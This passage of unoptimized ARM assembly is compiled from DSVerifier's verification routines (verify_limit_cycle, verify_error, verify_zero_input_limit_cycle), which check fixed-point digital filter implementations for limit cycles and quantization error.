sub r3, ip, #1
str r3, [fp, #-32]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-28]
ldr ip, [fp, #-52]
sub r3, ip, #1
str r3, [fp, #-24]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-80]
b .L1094
.L1097:
bl nondet_int
mov r1, r0
ldr r3, [fp, #-44]
ldr r2, [fp, #-80]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-44]
ldr r2, [fp, #-80]
ldr r3, [r3, r2, lsl #2]
ldr r2, [fp, #-72]
cmp r2, r3
bgt .L1095
ldr r3, [fp, #-44]
ldr r2, [fp, #-80]
ldr r3, [r3, r2, lsl #2]
ldr r2, [fp, #-68]
cmp r2, r3
blt .L1095
mov r3, #1
b .L1096
.L1095:
mov r3, #0
.L1096:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
ldr r3, [fp, #-44]
ldr r2, [fp, #-80]
ldr r1, [r3, r2, lsl #2]
ldr r3, [fp, #-36]
ldr r2, [fp, #-80]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-80]
add r3, r3, #1
str r3, [fp, #-80]
.L1094:
ldr r3, .L1102+8
ldr r3, [r3, #800]
ldr r2, [fp, #-80]
cmp r2, r3
blt .L1097
mov r3, #0
str r3, [fp, #-80]
b .L1098
.L1099:
ldr r3, [fp, #-76]
ldr r2, [fp, #-80]
ldr r3, [r3, r2, lsl #2]
ldr r2, .L1102+8
ldr r2, [r2, #1608]
ldr r1, [fp, #-60]
mov r0, r3
bl shiftL
ldr r3, .L1102+8
ldr r3, [r3, #800]
ldr r2, .L1102+8
ldr r2, [r2, #1608]
str r2, [sp, #4]
str r3, [sp]
ldr r3, [fp, #-100]
ldr r2, [fp, #-92]
ldr r1, [fp, #-60]
ldr r0, [fp, #-44]
bl fxp_direct_form_1
mov r1, r0
ldr r3, [fp, #-108]
ldr r2, [fp, #-80]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-108]
ldr r2, [fp, #-80]
ldr r3, [r3, r2, lsl #2]
ldr r2, .L1102+8
ldr r2, [r2, #800]
ldr r1, [fp, #-44]
mov r0, r3
bl shiftL
ldr r3, [fp, #-80]
add r3, r3, #1
str r3, [fp, #-80]
.L1098:
ldr r3, .L1102+16
ldr r3, [r3]
ldr r2, [fp, #-80]
cmp r2, r3
blt .L1099
ldr r3, .L1102+16
ldr r3, [r3]
mov r1, r3
ldr r0, [fp, #-108]
bl fxp_check_persistent_limit_cycle
mov r3, #0
mov sp, r5
mov sp, r4
ldr r2, .L1102
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L1101
bl __stack_chk_fail
.L1101:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L1103:
.align 2
.L1102:
.word .LC59
.word overflow_mode
.word ds
.word .LC58
.word X_SIZE_VALUE
.word ds+808
.word impl
.size verify_limit_cycle, .-verify_limit_cycle
.section .rodata
.align 2
.LC60:
.word __stack_chk_guard
.text
.align 2
.global verify_error
.syntax unified
.arm
.fpu softvfp
.type verify_error, %function
verify_error:
@ args = 0, pretend = 0, frame = 928
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, r8, fp, lr}
add fp, sp, #24
sub sp, sp, #940
ldr r3, .L1125
ldr r3, [r3]
str r3, [fp, #-32]
mov r3,#0
mov r3, sp
mov r8, r3
ldr r3, .L1125+4
mov r2, #2
str r2, [r3]
ldr r3, .L1125+8
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-916]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-920]
ldr r3, .L1125+8
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-924]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-928]
ldr r3, .L1125+8
ldr r3, [r3, #800]
mov r2, r3
ldr r1, [fp, #-920]
ldr r0, .L1125+8
bl fxp_double_to_fxp_array
ldr r3, .L1125+8
ldr r3, [r3, #1608]
mov r2, r3
ldr r1, [fp, #-928]
ldr r0, .L1125+12
bl fxp_double_to_fxp_array
ldr r3, .L1125+16
add r3, r3, #16
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
str r0, [fp, #-932]
ldr r3, .L1125+16
add r3, r3, #8
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
str r0, [fp, #-936]
ldr r3, .L1125+20
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-940]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-944]
ldr r3, .L1125+20
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-948]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-952]
ldr r3, .L1125+20
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-956]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-908]
ldr r3, .L1125+20
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-904]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-900]
mov r3, #0
str r3, [fp, #-896]
ldr r3, .L1125+8
ldr r2, [r3, #1608]
ldr r3, .L1125+8
ldr r3, [r3, #800]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-896]
ldr r3, .L1125+8
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-892]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-888]
ldr r3, .L1125+8
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-884]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-880]
ldr ip, [fp, #-896]
sub r3, ip, #1
str r3, [fp, #-876]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-872]
ldr r3, .L1125+8
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-868]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-864]
ldr r3, .L1125+8
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-860]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-856]
ldr ip, [fp, #-896]
sub r3, ip, #1
str r3, [fp, #-852]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-848]
mov r3, #0
str r3, [fp, #-912]
b .L1105
.L1106:
ldr r3, [fp, #-888]
ldr r2, [fp, #-912]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r2, [fp, #-864]
ldr r3, [fp, #-912]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-912]
add r3, r3, #1
str r3, [fp, #-912]
.L1105:
ldr r3, .L1125+8
ldr r3, [r3, #800]
ldr r2, [fp, #-912]
cmp r2, r3
blt .L1106
mov r3, #0
str r3, [fp, #-912]
b .L1107
.L1108:
ldr r3, [fp, #-880]
ldr r2, [fp, #-912]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r2, [fp, #-856]
ldr r3, [fp, #-912]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-912]
add r3, r3, #1
str r3, [fp, #-912]
.L1107:
ldr r3, .L1125+8
ldr r3, [r3, #1608]
ldr r2, [fp, #-912]
cmp r2, r3
blt .L1108
mov r3, #0
str r3, [fp, #-912]
b .L1109
.L1110:
ldr r3, [fp, #-872]
ldr r2, [fp, #-912]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r2, [fp, #-848]
ldr r3, [fp, #-912]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-912]
add r3, r3, #1
str r3, [fp, #-912]
.L1109:
ldr r2, [fp, #-912]
ldr r3, [fp, #-896]
cmp r2, r3
blt .L1110
mov r3, #0
str r3, [fp, #-912]
b .L1111
.L1114:
ldr r3, [fp, #-944]
ldr r2, [fp, #-912]
mov r1, #0
str r1, [r3, r2, lsl #2]
bl nondet_int
mov r1, r0
ldr r3, [fp, #-952]
ldr r2, [fp, #-912]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-952]
ldr r2, [fp, #-912]
ldr r3, [r3, r2, lsl #2]
ldr r2, [fp, #-932]
cmp r2, r3
bgt .L1112
ldr r3, [fp, #-952]
ldr r2, [fp, #-912]
ldr r3, [r3, r2, lsl #2]
ldr r2, [fp, #-936]
cmp r2, r3
blt .L1112
mov r3, #1
b .L1113
.L1112:
mov r3, #0
.L1113:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
ldr r2, [fp, #-908]
ldr r3, [fp, #-912]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-952]
ldr r2, [fp, #-912]
ldr r3, [r3, r2, lsl #2]
mov r0, r3
bl fxp_to_double
mov r2, r0
mov r3, r1
ldr r0, [fp, #-900]
ldr r1, [fp, #-912]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r3, [fp, #-912]
add r3, r3, #1
str r3, [fp, #-912]
.L1111:
ldr r3, .L1125+20
ldr r3, [r3]
ldr r2, [fp, #-912]
cmp r2, r3
blt .L1114
mov r3, #0
str r3, [fp, #-912]
b .L1115
.L1120:
ldr r3, [fp, #-952]
ldr r2, [fp, #-912]
ldr r3, [r3, r2, lsl #2]
ldr r2, .L1125+8
ldr r2, [r2, #1608]
ldr r1, [fp, #-880]
mov r0, r3
bl shiftL
ldr r3, .L1125+8
ldr r3, [r3, #800]
ldr r2, .L1125+8
ldr r2, [r2, #1608]
str r2, [sp, #4]
str r3, [sp]
ldr r3, [fp, #-928]
ldr r2, [fp, #-920]
ldr r1, [fp, #-880]
ldr r0, [fp, #-888]
bl fxp_direct_form_1
mov r1, r0
ldr r3, [fp, #-944]
ldr r2, [fp, #-912]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-944]
ldr r2, [fp, #-912]
ldr r3, [r3, r2, lsl #2]
ldr r2, .L1125+8
ldr r2, [r2, #800]
ldr r1, [fp, #-888]
mov r0, r3
bl shiftL
ldr r2, [fp, #-900]
ldr r3, [fp, #-912]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, .L1125+8
ldr r3, [r3, #1608]
ldr r2, [fp, #-856]
bl shiftLDouble
ldr r3, .L1125+8
ldr r3, [r3, #800]
ldr r2, .L1125+8
ldr r2, [r2, #1608]
str r2, [sp, #4]
str r3, [sp]
ldr r3, .L1125+12
ldr r2, .L1125+8
ldr r1, [fp, #-856]
ldr r0, [fp, #-864]
bl double_direct_form_1
mov r2, r0
mov r3, r1
ldr r0, [fp, #-908]
ldr r1, [fp, #-912]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r2, [fp, #-908]
ldr r3, [fp, #-912]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, .L1125+8
ldr r3, [r3, #800]
ldr r2, [fp, #-864]
bl shiftLDouble
ldr r2, [fp, #-908]
ldr r3, [fp, #-912]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r6-r7}
ldr r3, [fp, #-944]
ldr r2, [fp, #-912]
ldr r3, [r3, r2, lsl #2]
mov r0, r3
bl fxp_to_double
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-844]
str r3, [fp, #-840]
ldr r3, .L1125+16
add r3, r3, #48
ldmia r3, {r2-r3}
sub r1, fp, #844
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L1116
ldr r3, .L1125+16
add r3, r3, #48
ldmia r3, {r2-r3}
mov r4, r2
eor r5, r3, #-2147483648
mov r2, r4
mov r3, r5
sub r1, fp, #844
ldmia r1, {r0-r1}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1116
mov r3, #1
b .L1119
.L1116:
mov r3, #0
.L1119:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assert
ldr r3, [fp, #-912]
add r3, r3, #1
str r3, [fp, #-912]
.L1115:
ldr r3, .L1125+20
ldr r3, [r3]
ldr r2, [fp, #-912]
cmp r2, r3
blt .L1120
mov r3, #0
mov sp, r8
ldr r2, .L1125
ldr r1, [r2]
ldr r2, [fp, #-32]
eors r1, r2, r1
mov r2, #0
beq .L1122
bl __stack_chk_fail
.L1122:
mov r0, r3
sub sp, fp, #24
@ sp needed
pop {r4, r5, r6, r7, r8, fp, pc}
.L1126:
.align 2
.L1125:
.word .LC60
.word overflow_mode
.word ds
.word ds+808
.word impl
.word X_SIZE_VALUE
.size verify_error, .-verify_error
.section .rodata
.align 2
.LC61:
.ascii "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4"
.ascii ".0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycl"
.ascii "e.h\000"
.align 2
.LC62:
.ascii "X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na\000"
.align 2
.LC63:
.word __stack_chk_guard
.text
.align 2
.global verify_zero_input_limit_cycle
.syntax unified
.arm
.fpu softvfp
.type verify_zero_input_limit_cycle, %function
verify_zero_input_limit_cycle:
@ args = 0, pretend = 0, frame = 96
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #104
ldr r3, .L1141
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
ldr r3, .L1141+4
mov r2, #3
str r2, [r3]
ldr r3, .L1141+8
ldr r3, [r3, #800]
lsl r3, r3, #1
str r3, [fp, #-80]
ldr r0, .L1141+12
bl printf
ldr r3, .L1141+16
ldr r3, [r3]
ldr r2, [fp, #-80]
cmp r2, r3
ble .L1128
ldr r3, .L1141+20
mov r2, #23
ldr r1, .L1141+24
ldr r0, .L1141+28
bl __assert_fail
.L1128:
ldr r3, .L1141+8
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-84]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-88]
ldr r3, .L1141+8
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-92]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-96]
ldr r3, .L1141+8
ldr r3, [r3, #800]
mov r2, r3
ldr r1, [fp, #-88]
ldr r0, .L1141+8
bl fxp_double_to_fxp_array
ldr r3, .L1141+8
ldr r3, [r3, #1608]
mov r2, r3
ldr r1, [fp, #-96]
ldr r0, .L1141+32
bl fxp_double_to_fxp_array
ldr r3, .L1141+36
add r3, r3, #16
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
str r0, [fp, #-100]
ldr r3, .L1141+36
add r3, r3, #8
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
str r0, [fp, #-104]
ldr r3, .L1141+16
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-108]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-72]
ldr r3, .L1141+16
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-68]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-64]
mov r3, #0
str r3, [fp, #-76]
b .L1129
.L1130:
ldr r3, [fp, #-72]
ldr r2, [fp, #-76]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-64]
ldr r2, [fp, #-76]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-76]
add r3, r3, #1
str r3, [fp, #-76]
.L1129:
ldr r3, .L1141+16
ldr r3, [r3]
ldr r2, [fp, #-76]
cmp r2, r3
blt .L1130
mov r3, #0
str r3, [fp, #-60]
ldr r3, .L1141+8
ldr r2, [r3, #1608]
ldr r3, .L1141+8
ldr r3, [r3, #800]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-60]
ldr r3, .L1141+8
ldr ip, [r3, #800]
mov r3, sp
mov r5, r3
sub r3, ip, #1
str r3, [fp, #-56]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-52]
ldr r3, .L1141+8
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-48]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-44]
ldr ip, [fp, #-60]
sub r3, ip, #1
str r3, [fp, #-40]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-36]
ldr r3, .L1141+8
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-32]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-28]
ldr ip, [fp, #-60]
sub r3, ip, #1
str r3, [fp, #-24]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-76]
b .L1131
.L1134:
bl nondet_int
mov r1, r0
ldr r3, [fp, #-52]
ldr r2, [fp, #-76]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-52]
ldr r2, [fp, #-76]
ldr r3, [r3, r2, lsl #2]
ldr r2, [fp, #-100]
cmp r2, r3
bgt .L1132
ldr r3, [fp, #-52]
ldr r2, [fp, #-76]
ldr r3, [r3, r2, lsl #2]
ldr r2, [fp, #-104]
cmp r2, r3
blt .L1132
mov r3, #1
b .L1133
.L1132:
mov r3, #0
.L1133:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
ldr r3, [fp, #-52]
ldr r2, [fp, #-76]
ldr r1, [r3, r2, lsl #2]
ldr r3, [fp, #-28]
ldr r2, [fp, #-76]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-76]
add r3, r3, #1
str r3, [fp, #-76]
.L1131:
ldr r3, .L1141+8
ldr r3, [r3, #800]
ldr r2, [fp, #-76]
cmp r2, r3
blt .L1134
mov r3, #0
str r3, [fp, #-76]
b .L1135
.L1136:
ldr r3, [fp, #-44]
ldr r2, [fp, #-76]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-76]
add r3, r3, #1
str r3, [fp, #-76]
.L1135:
